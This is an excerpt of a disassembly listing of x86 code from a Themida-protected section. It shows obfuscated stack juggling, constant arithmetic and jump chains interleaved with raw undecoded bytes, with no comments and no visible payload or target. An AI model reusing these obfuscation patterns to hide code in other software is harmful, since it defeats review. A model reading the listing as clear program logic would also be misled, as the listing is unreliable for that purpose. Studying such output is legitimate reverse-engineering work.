		dd 5D545558h, 0E50BE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56232A:				; CODE XREF: Themida_:0055186Ej
		dec	eax
		not	eax
		and	eax, 3C5279A6h
		dec	eax
		and	eax, 4A220AC0h
		sub	esp, 4
		jmp	loc_5531F5
; ---------------------------------------------------------------------------
		db 56h
		dd 47E9E689h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56234B:				; CODE XREF: Themida_:0055A0EDj
		mov	bl, al
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_564A7F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2434FF00h, 4C4815Bh, 49000000h, 0E908E1C1h, 0FFFF1542h
		dd 5C24048Fh, 9869782Dh, 33822D44h, 68E9733Ah, 0FFFFC4h
		dd 4A12CD8h, 0E95B665Bh, 0FFFF8C2Eh, 3542C281h,	3DE90E7Ch
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5623A7:				; CODE XREF: Themida_:0055D5AAj
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55E2D1
; ---------------------------------------------------------------------------
		db 66h,	89h, 14h
		dd 0C1B55124h, 5359EE88h, 0C7FE67B7h, 0C7FED7F6h, 0FFF2C9E9h
		dd 4C483FFh, 332DD8F7h,	2D60C47Bh, 62520CC9h, 5358C289h
		dd 52008CBBh, 8BDA2946h, 0C483241Ch, 3FC28104h,	295C810Bh
		dd 62E95AD0h
		db 13h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5623F7:				; CODE XREF: Themida_:005543EFj
		push	esi
		pop	ebx
		pop	esi
		sub	ebx, 6DB87C52h
		or	eax, ebx
		pop	ebx
		shr	eax, 1
		or	eax, 6A911BE1h
		xor	eax, 6DFF3A6Fh
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		mov	edi, ecx
		pop	ecx
		jmp	loc_55AC79
; ---------------------------------------------------------------------------
word_56242A	dw 8B66h		; DATA XREF: Themida_:00550944o
		dd 0E9532404h, 0FFFF3D41h
; ---------------------------------------------------------------------------


loc_562434:				; CODE XREF: Themida_:00557D13j
		mov	[esp], eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5590F2
; ---------------------------------------------------------------------------
		db 0B7h, 0F4h, 0FEh
		dd 80D7F6CFh, 0E7C0B8EFh, 0EA84E908h, 0C7BFFFFFh, 0E93E8F46h
		dd 0FFFFE179h, 8158C531h, 6D4FA5CDh, 45D5F73Bh,	8005F581h
		dd 0EE898402h, 0FFEE7FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562479:				; CODE XREF: Themida_:0055BFA1j
		mov	eax, 621E91AFh
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, edx
		pop	edx
		jmp	loc_55A8D4
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0C8010000h, 592434FFh, 8704C483h, 0E95C2404h, 1E7Fh
		dd 8107E3C1h, 846EA2F3h, 2DEE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5624B6:				; CODE XREF: Themida_:00555833j
		push	7DD0h
		mov	[esp], esi
		mov	esi, 43896808h
		add	esi, 1A76E922h
		push	esi
		pop	eax
		pop	esi
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_550A26
; ---------------------------------------------------------------------------


loc_5624DE:				; CODE XREF: Themida_:00550EBEj
		mov	ebp, [esp]
		push	4624h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, 61F2148h
		xor	eax, edx
		pop	edx
		jmp	loc_55673C
; ---------------------------------------------------------------------------
		db 88h,	0CEh, 0E9h
		dd 0FFFEF26Bh, 0D986CBFEh, 66505366h, 884AB551h, 885966ECh
		dd 0D90858E3h, 241C8B66h, 0FF7564E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562549:				; CODE XREF: Themida_:00552E35j
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		xor	ebx, edx
		jmp	loc_56023B
; ---------------------------------------------------------------------------


loc_562556:				; CODE XREF: Themida_:005523F8j
		shl	edx, 1
		push	ebx
		push	12Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_562C5E
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 9868E689h, 0E9000006h, 2D3Fh, 0E924248Bh, 0FFFFE036h
		dd 240C8B54h, 4EC81h, 34890000h, 7138E924h, 1C89FFFFh
		dd 0E7FDE924h, 0BE56FFFEh, 2477EFDh, 5E6C146h, 0C683DEF7h
		dd 9EB1E9FFh, 0C2FEFFFFh, 289BC280h, 0CDFE5AD5h, 2F8768h
		dd 241C8900h, 0C78055B7h, 27CF80FFh, 8D80E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5625E6:				; CODE XREF: Themida_:0056119Fj
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	265Eh
		jmp	loc_560F6F
; ---------------------------------------------------------------------------
		dw 0FE31h
		dd 11F6815Fh, 816E7D54h, 0FA7481CEh, 89EE8147h,	12CF2FEh
		dd 0D1895EF2h, 0E924148Bh, 264Bh
; ---------------------------------------------------------------------------


loc_56262C:				; CODE XREF: Themida_:0055F39Fj
		pop	eax
		jmp	loc_562089
; ---------------------------------------------------------------------------
		dw 0D828h
		dd 8B2C262Ch, 8768665Bh, 1489664Ch, 8025B224h, 0E2C0F4C2h
		dd 0D7B55107h, 8059EA30h, 0EAD0FFEAh, 80CCB450h, 0ECC078C4h
		dd 7ECC003h, 0E9AAC480h, 0FFFFD4CCh
; ---------------------------------------------------------------------------


loc_562668:				; CODE XREF: Themida_:0055A6F3j
		mov	edx, esp
		push	eax
		mov	eax, 5D30422Dh
		jmp	loc_554E1E
; ---------------------------------------------------------------------------
		db 1, 0F2h, 5Eh
		dd 0EA81FA29h, 35C71B5Eh, 83243C8Bh, 0CEE904C4h, 66FFFEF3h
		dd 2454F650h, 88586601h, 351EE9E6h, 0D3F7FFFFh,	32C3EB81h
		dd 0EA81A1A7h, 4AAC48BFh, 0C281DA29h, 4AAC48BFh, 2414875Bh
		dd 2414895Ch, 586ACDBAh, 9F2AE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5626C2:				; CODE XREF: Themida_:00563A6Bj
		mov	ebp, 2309287Eh
		jmp	loc_55D8A0
; ---------------------------------------------------------------------------


loc_5626CC:				; CODE XREF: Themida_:0055146Cj
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		jmp	loc_564157
; ---------------------------------------------------------------------------


loc_5626D8:				; CODE XREF: Themida_:0055CA80j
		mov	[esp], ebp
		jmp	loc_564F05
; ---------------------------------------------------------------------------
		dd 3BDAE95Fh, 5E5DFFFFh, 4C681h, 0EC830000h, 5210E904h
		dd 48BFFFFh, 4C48324h, 24148750h, 1487D2F7h, 0BA525824h
		dd 6AA7658h, 0F75AD021h, 1CAE9D8h, 0E5890000h, 5C0AB850h
		dd 0D480376h, 22808BFh,	0E8C1D0F7h, 41650D04h, 7135745Fh
		dd 17FDF5Bh, 0E7E958C5h, 9FFFF04h, 4840FC9h, 68FFFFAAh
		dd 6288h, 24048F54h, 4EC8351h, 0BD242C89h, 4, 24048155h
		dd 34813740h, 40E98159h, 0FF348137h, 815D2434h,	4C4h, 246C8100h
		dd 1A16A704h, 244C017Ah, 0B8505704h, 7A1A16A7h,	0D4E9C789h
		dd 88FFFFA7h, 0E95B58C2h, 0FFFF6B42h, 926A7105h, 52D80104h
		dd 926A71BAh, 0BA84E904h, 0A2BAFFFFh, 0E911967Eh, 0FFFFA689h
		dd 33243C31h, 7DE9243Ch, 1FFFFD7h, 2492E9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5627C2:				; CODE XREF: Themida_:0055E727j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5515DE
; ---------------------------------------------------------------------------
		dd 68F0EC80h, 81Bh, 0B6241489h,	99EE801Dh, 8008EEC0h, 0CE8046E6h
		dd 80C6FE24h, 0F43034EEh, 2E4C05Ah, 0F480D4F6h,	58E30055h
		dd 2856EB80h, 0B05066C3h, 66C30056h, 0FF686658h, 4896605h
		dd 80B3B424h, 0C48001C4h, 1645E932h, 0E9570000h, 0FFFFB64Eh
		dd 0BA241489h, 4, 0FF3058E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562831:				; CODE XREF: Themida_:00557B74j
		add	ebp, 4
		jmp	loc_5659CD
; ---------------------------------------------------------------------------


loc_562839:				; CODE XREF: Themida_:0055F6CDj
		mov	ebx, 7A3F0F4Fh
		xor	ebx, 6FB73D9Ah
		push	esi
		jmp	loc_5532D1
; ---------------------------------------------------------------------------
word_56284A	dw 48Bh			; DATA XREF: Themida_:00550784o
		dd 0B123E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562852:				; CODE XREF: Themida_:0055C322j
		mov	eax, 4
		jmp	loc_55B93B
; ---------------------------------------------------------------------------
		dd 0C380E328h, 0E68956F3h, 0FFAB93E9h, 242C89FFh, 3CE68h
		dd 24148900h, 33A8E9h, 48F5B00h, 4895C24h, 2E9CB824h, 0D0F74599h
		dd 0BACE9h, 7CE95A00h
		db 3Fh,	2 dup(0FFh)
byte_562893	db 8Bh			; DATA XREF: Themida_:005508CCo
		dd 60E92424h, 80FFFEE7h, 0D900C2E9h, 0FFD08EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5628A5:				; CODE XREF: Themida_:00554FC2j
		pop	edi
		add	esp, 4
		push	3A57h
		mov	[esp], ebp
		push	5DAEh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_55563F
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 6CE90000h, 5CFFFFE6h, 0E9242489h, 0FFFFCBD8h
		dd 0DC04BD55h, 0E831F97Dh, 0B577E95Dh, 3C8BFFFFh, 0E6895624h
		dd 4C681h, 0E1E90000h, 87FFFF9Ah, 0ABB53F2h, 8138A441h
		dd 272453EBh, 84CB8113h, 5365EF48h, 420E9h, 0D9015800h
		dd 3D60685Bh, 0FDE90000h, 0B3FFFFFEh, 0E1B25297h, 285AD488h
		dd 0F8B35BDCh, 2843C380h, 43EB80E3h, 8BD82858h,	0C481241Ch
		dd 4, 0EC81D800h, 2, 240C8966h,	0E800AEB5h, 74E95966h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56295F:				; CODE XREF: Themida_:0055990Ej
		xchg	edx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 3CF709B8h
		shr	ebp, 5
		jmp	loc_5646EA
; ---------------------------------------------------------------------------


loc_562971:				; CODE XREF: Themida_:0055FB43j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5522C8
; ---------------------------------------------------------------------------
		dw 5B54h
		dd 4C381h, 0C3810000h, 4, 0FFAA9BE9h
		db 0FFh, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_556519
; ---------------------------------------------------------------------------


loc_5629AA:				; CODE XREF: Themida_:0055E969j
		push	ecx
		mov	ecx, esp
		push	eax
		push	edi
		mov	edi, 5A7176E1h
		jmp	loc_5572EB
; ---------------------------------------------------------------------------
		db 52h,	88h, 0EEh
		dd 148BF388h, 4C48324h,	0FEFA98E9h, 8BEB01FFh, 0A9E9242Ch
		db 0Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5629D3:				; CODE XREF: Themida_:0055BCEDj
		add	ecx, edx
		push	dword ptr [esp]
		jmp	loc_564074
; ---------------------------------------------------------------------------
		db 29h,	0C3h, 58h
		dd 1C8BDA01h, 4C48324h,	3304C283h, 14312414h, 24143324h
		dd 0E924248Bh, 0FFFF530Ch, 4C181h, 0E9550000h, 0FFFF0341h
; ---------------------------------------------------------------------------


loc_562A08:				; CODE XREF: Themida_:00555039j
		sub	ebx, 7E6E787Bh
		pop	ebp
		push	edi
		mov	edi, 3C1E78A7h
		jmp	loc_55D657
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 15616D4Ah, 0FFE9D889h, 88FFFF86h, 241C8BD9h,	0FF1653E9h
		dd 84BA52FFh, 31271820h, 5A042454h, 0FFBD39E9h,	0E9CEFEFFh
		dd 0FFFFA661h, 7504C781h, 0FE011249h, 4EE835Fh,	0FEE9C4E9h
		dd 4C481FFh, 8F000000h,	248B2404h, 8373E924h, 9805FFFFh
		dd 1319570h, 0F27BE9E8h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_562A76:				; CODE XREF: Themida_:00560FB2j
		mov	ebx, 40A73EB3h
		mov	ecx, 40A73EB7h
		xor	ecx, ebx
		jmp	loc_558420
; ---------------------------------------------------------------------------
byte_562A87	db 0FFh			; DATA XREF: Themida_:00550740o
		dd 34FF2434h, 0EC835924h, 24048904h, 405E089h, 0E9000000h
		dd 19C1h, 8BD555Eh, 31699C0Dh, 2434FFEAh, 3EFBE95Dh, 483FFFFh
		dd 535F0424h, 0C381E389h, 4, 7C9068h, 24348900h, 3104E9h
		dd 69E95600h, 66FFFF74h, 0E96FB368h, 0FFFFC3EBh, 4C481h
		dd 0C3010000h, 3AD6C381h, 0C3810B46h, 41E11588h, 0E9008F66h
		dd 0FFFEDEB7h
; ---------------------------------------------------------------------------


loc_562AF8:				; CODE XREF: Themida_:00562174j
		xor	ebx, esi
		pop	esi
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		jmp	loc_55D920
; ---------------------------------------------------------------------------


loc_562B06:				; CODE XREF: Themida_:00562CA4j
		push	eax
		mov	eax, 0A1F38A5h
		add	eax, 6B541616h
		add	eax, 5CCE64BCh
		jmp	loc_551E4C
; ---------------------------------------------------------------------------


loc_562B1B:				; CODE XREF: Themida_:005566B7j
		mov	eax, esp
		add	eax, 4
		jmp	loc_554214
; ---------------------------------------------------------------------------


loc_562B27:				; CODE XREF: Themida_:00552D36j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_552205
; ---------------------------------------------------------------------------


loc_562B35:				; CODE XREF: Themida_:005538D5j
		xor	ecx, edi
		not	edi
		jmp	loc_5591AF
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 0D7C581F5h, 0FF57D305h, 815E2434h, 4C4h, 89BE5600h
		dd 810DA715h, 0DD5D18F6h, 0CCF6817Dh, 31497C8Fh, 0E8315EF5h
		dd 0FF9780E9h, 22BA52FFh, 81364234h, 0D495AE2h,	0EAC14A0Eh
		dd 0E4F28104h, 522CE631h, 0CE95A5Dh, 5DFFFEF8h,	148BD701h
		dd 531BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B96:				; CODE XREF: Themida_:0055E291j
		xor	edx, [esp]
		jmp	loc_55B9F4
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0EEE95C24h
		db 0A7h, 2 dup(0FFh)
byte_562BA7	db 66h			; DATA XREF: Themida_:0055078Co
		dd 50240C8Bh, 0EFE9E089h
		db 20h,	2 dup(0)
byte_562BB3	db 66h			; DATA XREF: Themida_:00550840o
		dd 74FF6656h, 8B660224h, 0C682434h, 8900006Ch, 30E92414h
		dd 89FFFFF5h, 44015FF8h, 56580424h, 42B3BF57h, 0C78110D4h
		dd 77FE0851h, 2FB9F781h, 0FE898AD5h, 0FFAC55E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562BED:				; CODE XREF: Themida_:0055B4C7j
		xor	edi, 26DCA120h
		jmp	loc_55FCC6
; ---------------------------------------------------------------------------
		dd 8E7743B9h, 63E9417Fh
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562C03:				; CODE XREF: Themida_:0055D0F0j
		dec	edx
		push	ebp
		push	esi
		mov	esi, 0AAF2DC82h
		jmp	loc_561D67
; ---------------------------------------------------------------------------


loc_562C10:				; CODE XREF: Themida_:00561E2Fj
		push	0E6Bh
		mov	[esp], eax
		jmp	loc_5558DB
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C6h
		dd 279F1021h, 5E9C681h,	0CE011C41h, 5E9EE81h, 0EE811C41h
		dd 279F1021h, 20C4E9h, 0C4835E00h, 242C8104h, 5D275BF2h
		dd 81240401h, 5BF22404h, 4815D27h, 411ADB24h, 0DD51E97Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_562C5E:				; CODE XREF: Themida_:0056257Cj
		mov	[esp], esi
		push	edx
		jmp	loc_55B450
; ---------------------------------------------------------------------------
		db 5
		dd 4, 293DE9h, 0C1815900h, 4, 0E904C183h, 0FFFF9986h, 69FDE952h
		dd 0EFC0FFFFh, 3E7C004h, 5145EF80h, 0ED8038B5h,	0E9CDFEA3h
		dd 0FFFF590Ah
; ---------------------------------------------------------------------------


loc_562C9C:				; CODE XREF: Themida_:00561FF2j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_562B06
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 885201B3h, 0F78853DEh, 67E9F888h
		db 22h,	2 dup(0)
byte_562CBB	db 0FFh			; DATA XREF: Themida_:005508B8o
		dd 34FF2434h, 89505924h, 405E0h, 46E90000h
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_562CCF:				; CODE XREF: Themida_:0055863Aj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		mov	ebp, 4
		mov	ecx, ebp
		pop	ebp
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_561FF1
; ---------------------------------------------------------------------------


loc_562D00:				; CODE XREF: Themida_:005645FBj
		sub	ebx, 2D57511Fh
		sub	ebx, eax
		add	ebx, 2D57511Fh
		pop	eax
		add	ebx, edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0AB32308h
		sub	ebx, 6B8E4ECEh
		add	ebx, esi
		jmp	loc_5598D1
; ---------------------------------------------------------------------------
		dd 6050BF57h, 0FE890221h, 0FF89A3E9h, 2404FFFFh, 1F7685Bh
		dd 3C890000h, 7635BF24h, 814F4493h, 17655CEFh, 4CF7813Eh
		dd 8172D95Dh, 0EB4C93EFh, 5FFB29F9h, 54ACF381h,	0F3815C4Ah
		dd 2CFD4DC7h, 0FF422DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562D71:				; CODE XREF: Themida_:0055D6D9j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_562F00
; ---------------------------------------------------------------------------


loc_562D7A:				; CODE XREF: Themida_:0055A255j
		mov	edx, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_55B142
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0EC8h, 66D3F766h, 66576643h,	0E95881BFh, 0FFFF3554h
		dd 0E781DFF7h, 54ED775Bh, 5CFE68h, 242C8900h, 744B41BDh
		dd 0DF1BE939h, 0D105FFFEh, 55716362h, 0E66030BDh, 1EC58116h
		dd 81258A1Bh, 70BB30C5h, 95BEE92Ch, 5966FFFFh, 305BDE88h
		dd 148B66F3h, 52E95624h, 43FFFF56h, 11B7F381h, 58E97CBEh
		dd 57000026h, 2B6ACCBFh, 5FF88956h, 20B7E9h, 4FEE8100h
		dd 0E94CC265h, 0FFFF78F7h, 24048F5Ah, 2434895Ch, 0FF5E3BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562E19:				; CODE XREF: Themida_:00555922j
		xor	eax, ecx
		push	2743h
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_552713
; ---------------------------------------------------------------------------
		dd 17A79305h, 58C301A7h, 0E95BDF89h, 0FFFF51B0h, 673FC181h
		dd 0AE972BEh
		db 17h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562E4F:				; CODE XREF: Themida_:0055DC72j
		sub	esi, 0B7220Eh
		jmp	loc_558320
; ---------------------------------------------------------------------------
word_562E5A	dw 8B66h		; DATA XREF: Themida_:00550864o
		dd 9AE9240Ch
		db 35h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562E63:				; CODE XREF: Themida_:0055A242j
		add	esi, 85E6418h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	660C1A7Eh
		pop	ebx
		and	ebx, 18FC3DEFh
		neg	ebx
		or	ebx, 6416675h
		add	ebx, 755F4A70h
		push	edi
		push	ebx
		jmp	loc_565B81
; ---------------------------------------------------------------------------
		dd 4EEA815Fh, 81157746h, 656BC3EAh, 81C20164h, 656BC3C2h
		dd 0E9525064h, 0FFFF7B09h, 2E5C14Dh, 4C27C581h,	0C58116E9h
		dd 1C280AEAh, 0FF2EC4E9h, 1CC181FFh, 8B244570h,	16E9241Ch
		dd 46000029h, 0BA52E6D1h, 4A3E2D59h, 0C2EA8142h, 0C16EF358h
		dd 0C28105E2h, 0A2DD2486h, 15AD601h, 97685EF3h,	0E900004Ch
		dd 0FFFF42CFh
; ---------------------------------------------------------------------------


loc_562F00:				; CODE XREF: Themida_:00562D75j
		sub	ebx, 77E4110Eh
		xor	ebx, 91D45DA1h
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_561E02
; ---------------------------------------------------------------------------


loc_562F1A:				; CODE XREF: Themida_:0055C0B3j
		pop	ebx
		push	ebx
		jmp	loc_554D3C
; ---------------------------------------------------------------------------
byte_562F21	db 0ACh, 68h, 0F1h	; DATA XREF: Themida_:00550880o
		dd 8900007Ah, 0EFB1240Ch, 0FEA8B252h, 4B20E9C2h, 8158FFFFh
		dd 0D634E0F2h, 89EB811Ah, 0E9719733h, 0FFFF52C3h
; ---------------------------------------------------------------------------


loc_562F48:				; CODE XREF: Themida_:00554BCBj
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	7634h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5570FC
; ---------------------------------------------------------------------------
		dd 0CFE9FB01h, 80000006h, 91E988C2h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562F6F:				; CODE XREF: Themida_:00564234j
		mov	ecx, 0FFFFFFFFh
		push	edi
		mov	edi, ecx
		push	edi
		add	dword ptr [esp], 559453A8h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56478C
; ---------------------------------------------------------------------------
		dw 5659h
		dd 0FF024FE9h, 0FAB353FFh, 0FF5C62E9h, 2434FFFFh, 1DE2E9h
		db 0
; ---------------------------------------------------------------------------


loc_562FA1:				; CODE XREF: Themida_:00565BF8j
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_554BA2
; ---------------------------------------------------------------------------


loc_562FB5:				; CODE XREF: Themida_:00560CEEj
		xor	[esp], edi
		jmp	loc_553281
; ---------------------------------------------------------------------------


loc_562FBD:				; CODE XREF: Themida_:00556A4Dj
		pop	eax
		jmp	loc_55472A
; ---------------------------------------------------------------------------


loc_562FC3:				; CODE XREF: Themida_:00559D3Ej
		dec	ebx
		dec	ebx
		xor	ebx, 4E5D7A71h
		push	edi
		mov	edi, 42370CD4h
		sub	ebx, edi
		pop	edi
		add	edi, ebx
		pop	ebx
		jmp	loc_55CFB3
; ---------------------------------------------------------------------------


loc_562FDC:				; CODE XREF: Themida_:00551E3Dj
		pop	edx
		push	esi
		jmp	loc_5572E1
; ---------------------------------------------------------------------------


loc_562FE3:				; CODE XREF: Themida_:0055C8C4j
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		dd 33240431h, 248B2404h, 0D77DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562FF6:				; CODE XREF: Themida_:00564268j
		xor	eax, 70EF746Ah
		mov	ecx, eax
		pop	eax
		xor	ecx, 6BC76D1Eh
		shr	ecx, 1
		sub	ecx, 35D335C5h
		sub	esi, 76463Ah
		add	esi, ecx
		add	esi, 76463Ah
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5518AE
; ---------------------------------------------------------------------------
		dw 5456h
		dd 8324348Bh, 0C68104C4h, 4, 4BB53h, 0BD550000h, 3B4B7CA2h
		dd 0FF53BFE9h, 0EC8158FFh, 4, 55240C89h, 688A68h, 241C8900h
		dd 0E73453BBh, 4ECB8138h, 0E9467157h, 0FFFF411Bh, 43234E05h
		dd 1175E927h, 5C01FFFFh, 0FFE90824h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563083:				; CODE XREF: Themida_:00557080j
		sub	edx, eax
		pop	eax
		xor	ebp, edx
		jmp	loc_554331
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 0C904B2EEh, 81C6290Ah, 0C904B2C6h, 5BFEE90Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5630A6:				; CODE XREF: Themida_:0055ADBAj
		add	eax, 5FFDB282h
		add	ecx, eax
		jmp	loc_56554C
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0EC835C24h, 24248904h, 0FF6852E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5630C1:				; CODE XREF: Themida_:00563715j
		xor	edi, 555D05E6h
		mov	esi, edi
		pop	edi
		sub	esi, 6083169Bh
		add	edx, esi
		pop	esi
		jmp	loc_55255A
; ---------------------------------------------------------------------------
		dd 0D50E6768h, 5357597Bh, 8F27F3BBh, 3E3C172h, 3135B850h
		dd 0C32918A4h, 0F86E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5630F6:				; CODE XREF: Themida_:00563407j
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 180A0259h
		neg	edi
		not	edi
		sub	edi, 70222999h
		push	ebp
		mov	ebp, 0
		sub	ebp, edi
		mov	edi, ebp
		pop	ebp
		jmp	loc_5559CD
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 32685200h, 0E962C57Ah,	0FFFF2FF0h, 63EE6856h
		dd 24890000h, 4BD5524h,	1000000h, 0E904246Ch, 0FFFFF59Ah
; ---------------------------------------------------------------------------


loc_56314C:				; CODE XREF: Themida_:00564992j
		xchg	ecx, [esp]
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xor	[esp], ecx
		jmp	loc_563C12
; ---------------------------------------------------------------------------
dword_56315C	dd 0E940478Fh, 0FFFED84Bh, 0DFF7FA87h, 0EC81FA87h, 4, 68242C89h
					; DATA XREF: Themida_:005508D8o
		dd 55DE9AC7h, 81242C8Bh, 4C4h, 5DEA3100h, 12DB68h, 24148900h
		dd 0FEDF8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563191:				; CODE XREF: Themida_:00552610j
		xor	ebp, 3E5716C9h
		inc	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1850239Ch
		add	edi, 0BE04DC2Eh
		jmp	loc_55E15D
; ---------------------------------------------------------------------------


loc_5631B1:				; CODE XREF: Themida_:005529EFj
		add	ecx, 49121E71h
		add	ecx, edx
		sub	ecx, 49121E71h
		sub	ecx, 55E52B45h
		sub	ecx, 1E3F4C56h
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_551F60
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFEAB2h
; ---------------------------------------------------------------------------


loc_5631E0:				; CODE XREF: Themida_:0055CCD7j
		mov	eax, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5617AD
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFFDA10h, 81E9E189h, 0E9FFFFBEh, 0FFFED7AFh
		dd 7E2C059h, 1BEAE9h
		db 0
byte_563209	db 66h,	8Bh, 4		; DATA XREF: Themida_:00550790o
		dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 0FFE2F3E9h
		dd 2C783FFh, 38368h, 0DB0DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56322E:				; CODE XREF: Themida_:0055846Fj
		add	ebp, 591B7A57h
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_553C53
; ---------------------------------------------------------------------------


loc_563248:				; CODE XREF: Themida_:0055B42Aj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_554512
; ---------------------------------------------------------------------------


loc_563260:				; CODE XREF: Themida_:0055A26Bj
		mov	edx, 27A71991h
		not	edx
		and	edx, 7A7205Eh
		not	edx
		add	edx, 1C9A017Dh
		add	edx, 50966CE3h
		xor	edx, 382B3347h
		sub	ebp, edx
		pop	edx
